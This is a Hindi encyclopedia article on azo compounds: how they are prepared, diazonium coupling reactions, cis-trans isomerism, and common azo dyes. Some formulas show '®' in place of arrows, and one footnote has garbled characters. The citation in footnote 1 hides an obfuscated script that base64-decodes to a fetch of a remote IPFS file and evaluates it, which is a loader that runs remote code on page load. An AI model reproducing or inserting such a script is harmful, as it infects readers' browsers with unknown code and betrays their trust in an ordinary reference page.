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ऐज़ो यौगिक

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ऐज़ो यौगिक ऐसे कार्बनिक यौगिक को कहते हैं जिसमें N= N समूह हो और यह कार्बनिक मूलकों से संयुक्त हो। ऐज़ो-बेनज़ीन सबसे सरल ऐज़ो यौगिक है। यह नाइट्रोबेनज़ीन को जस्ता और क्षार, सोडियम पारद मिश्रधातु और तनु ऐलकोहल या क्षारीय स्टैनस हाइड्रॉक्साइड विलयन से अवकृत करने पर बनता है:

2RNO2 + 4H2 ® RN= NR +4H2 O

तुल्य मात्रा के ऐरोमैटिक प्राइमरी ऐमिन और नाइट्रोसो यौगिक को सांद्र ऐसीटिक अम्ल के साथ गरम करने पर ऐज़ो यौगिक बनते हैं और पानी मुक्त होता है :

RNO+ H2 NR® RN= NR+H2O

ऐज़ो यौगिक अधिकांश डाइ ऐज़ोनियम लवण को प्राइमरी, सेकेंडरी और टर्शियरी ऐमिन, फ़ीनोल या फ़नोलिक एस्टर से जोड़कर बनाए जाते हैं। इस क्रिया में पहले डाइ-ऐज़ोनियम लवण प्राइमरी और सेकेंडरी ऐरोमैटिक ऐमिन से प्रतिक्रिया कर डाइ-ऐज़ोऐमिनो यौगिक बनाते हैं:

C6 H5 N2 Cl + NH2 C6 H5 ® C6H5 N= N– NHC6 H5+HCI

डाइ-ऐज़ोऐमिनो यौगिक बनाने के लिए कम खनिज अम्ल की उपस्थिति में ऐनिलीन क्षार पर नाइट्रस अम्ल की अभिक्रिया कराई जाती है। डाइ-ऐज़ोऐमिनो यौगिक पीले रंग के मंद क्षारीय गुणवाले मणिभ यौगिक हैं जो अम्लों से संयोग करते हैं, परंतु ताँबा, चाँदी और पोटेसियम के लवण भी बनाते हैं जिनमें नाइट्रोजन से सबंद्ध यह हाइड्रोजन चल प्रकृति का होता है और यह एक नाइट्रोजन परमाणु से दूसरे नाइट्रोजन परमाणु पर जा सकता है। इसका प्रमाण यह है कि यदि फ़ीनोल ऐज़ोनियम लवण को टोल्यूडीन से जोड़ा जाए या टोलील डाइ-ऐज़ोनियम लवण को एनिलीन से जोड़ा जाए तो दोनों दशा में एक ही यौगिक बनता है, अन्यथा पहले संयोग में सूत्र (1) का यौगिक बनता और दूसरे संयोग में सूत्र (2) का यौगिक प्राप्त होता:

C6H5N= N– NHC6 H4CH3; CH3 C6 H4= N– NHC6 H5

(1) (2)

वास्तविक बने यौगिक का सूत्र (1) होता है जिसमें अधिक धनीय कार्बनिक टोलील मूलक ऐमिनो समूह से संबद्ध होता है।

कार्बनिक क्षार को हाइड्रोक्लोराइड के साथ गरम करने पर या अधिक खनिज अम्ल की उपस्थिति में डाइ-एज़ोऐमिनो यौगिक ऐमिनो-ऐज़ो यौगिक में परिवर्तित हो जाते हैं।


डाइ-ऐज़ोऐमिनो बेनज़ीन ऐमिनो ऐज़ो-बेनज़ीन

यह परिवर्तन पारा स्थिति से होता है, परंतु यदि यहाँ कोई मूलक उपस्थित हुआ तो यह आदान प्रदान ऑर्थो स्थिति से होता है। इस क्रिया द्वारा बहुत से ऐमिनो ऐज़ो रंजक बनाए जाते हैं।

टर्शियरी ऐरोमैटिक ऐमिन डाइ-ऐज़ोनियम लवण से संगोग करते हैं और ऐमिनो-ऐज़ो-यौगिक प्रत्यक्ष बनते हैं, जिनमें ऐज़ो समूह टर्शियरी ऐमिनो समूह के पारा स्थान में जुड़ा रहता है।

डाइ-ऐंज़ोनियम लवण फ्ऱीनोल के क्षारीय विलयन से संयोग करने पर हाइड्राक्सी ऐज़ो यौगिक बनते हैं। इस क्रिया में प्राय: डाइ-ऐज़ोआक्साइड बनता है।


डाइमेथिल ऐनिलीन डाइमेथिल ऐमिनो ऐज़ोबेनज़ीन


डाइ-ऐज़ोआक्साइड हाइड्राक्सीऐज़ो यौगिक

फ़ीनोलिक एस्टर की डाइ-ऐंज़ोनियम लवण से जुड़ने की शक्ति ऐमिन और फ़ीनोल से कम है। इस क्रिया के लिए यह आवश्यक है कि क्रिया निर्जल स्थिति में की जाए। इसलिए प्राय: यह क्रिया सांद्र ऐसीटिक अम्ल में की जाती है।

ब्यूटाडाइ-ईन जैसे असंतृप्त हाइड्रोकार्बन और मिसीटिलीन से नाइट्रोएनिलीन के डाइ-ऐज़ोनियम यौगिक संयोग करते हैं। मिसीटिलीन, प्रिक्रामाइड के डाइ-ऐज़ोनियम लवण से संयोग करता है और एक ऐज़ोरंजक बनाता है।



मिसीटिलीन और पिक्रामाइड के डाइ-ऐज़ोनियम लवण के संयोग से बना ऐज़ोरंजक।

डाइ-ऐज़ोनियम लवण का नैप्थोल और नैप्थील ऐमिन से संयोग विशेष महत्वपूर्ण है। ऐल्फ्ऱा-नैप्थोल हाइड्राक्सी समूह के पारा स्थान से जुड़ता है, परंतु यदि इस स्थान पर कोई समूह उपस्थित हुआ तो यह संयोग ऑर्थो स्थान से होता है। बीटा-नैप्थोल में ऐज़ो मूलक 1 (ऐल्फ़ा) स्थान ग्रहण करता है। बीटा-नैप्थील ऐमिन में भी इसी प्रकार का संयोग होता है। डाइ-ऐज़ो-अमोनियम लवण ऐमिनो-हाइड्राक्सी-ऐमिन से क्षारीय विलयन में हाइड्राक्सी समूह से जुड़ता है, परंतु अम्लीय विलयन में यह संयोग ऐमिनो समूह से होता है। इस तरह एक ही ऐमिनो-नैप्थोल से विलयन को क्षारीय या अम्लीय करके विभिन्न प्रकार के रंजक बनाए जा सकते हैं:

सिद्धांतानुसार ऐज़ो यौगिकों के सिस, ट्रांस, दो समावयवी रूप होने चाहिए।

R N R N

II II

R N N R

इस प्रकार के समावयवों पर अभी अधिक खोज नहीं हुई है। ट्रांसऐज़ो बेनज़ीन पर प्रकाश डालने पर यह सिस-रूप में परिवर्तित हो जाता है। सिस समावयवी का वर्तनांक और अवशोषण गुणांक ट्रांस समावयवी से भिन्न है। प्रकाश के प्रभाव से संतुलन की स्थिति उत्पन्न हो जाती है, जिसमें लगभग 27 प्रतिशत सिस- और 73 प्रतिशत ट्रांस-समावयवी रहते हैं।[1]

ऐज़ो रंजक दो प्रकार के होते हैं। एक को क्षारीय रंजक और दूसरे को अम्लीय रंजक कहते हैं। क्षारीय रंजकों में ऐनिलीन यलो, बिस्मार्क ब्राउन, जेनस रेड इत्यादि प्रमुख हैं। ऐनिलीन यलो का रासायनिक नाम पारा-ऐमिनो ऐज़ोबेनज़ीन है। यह पीले रंग का रंजक है, जो अम्ल में बैंगनी रंग का हो जाता है। बिस्मार्क ब्राउन मेटा-फ़ेनिलीन-डाइऐमिन पर नाइट्रस अम्ल की क्रिया द्वारा बनाया जाता है। इस रंजक का उपयोग चमड़ा रँगने के काम में होता है। जेनस रेड रंजक रुई और ऊन को अम्लीय उष्मक में रँगता है। इसका प्रयोग रुई और ऊन के मिश्रित सूत तथा रेशम के तागे रँगने में होता है। अम्लीय रंजकों में मेथिल ऑरेंज, ऐल्फ़ा -नैप्थोल ऑरेंज, फ़ास्ट रेड ए और बी, नैप्थील-ऐमिन ब्लैक डी, विक्टोरिया वायलेट इत्यादि प्रमुख रंजक हैं।[2]



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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 2 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 272 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. (ङउ मूलक; अन्य रासायनिक च्ह्राेिं के लिए देखें हिंदी विश्वकोश, प्रथम खंड, नवीन संशोधित संस्करण, सं. 2030, पृष्ठ 454।)

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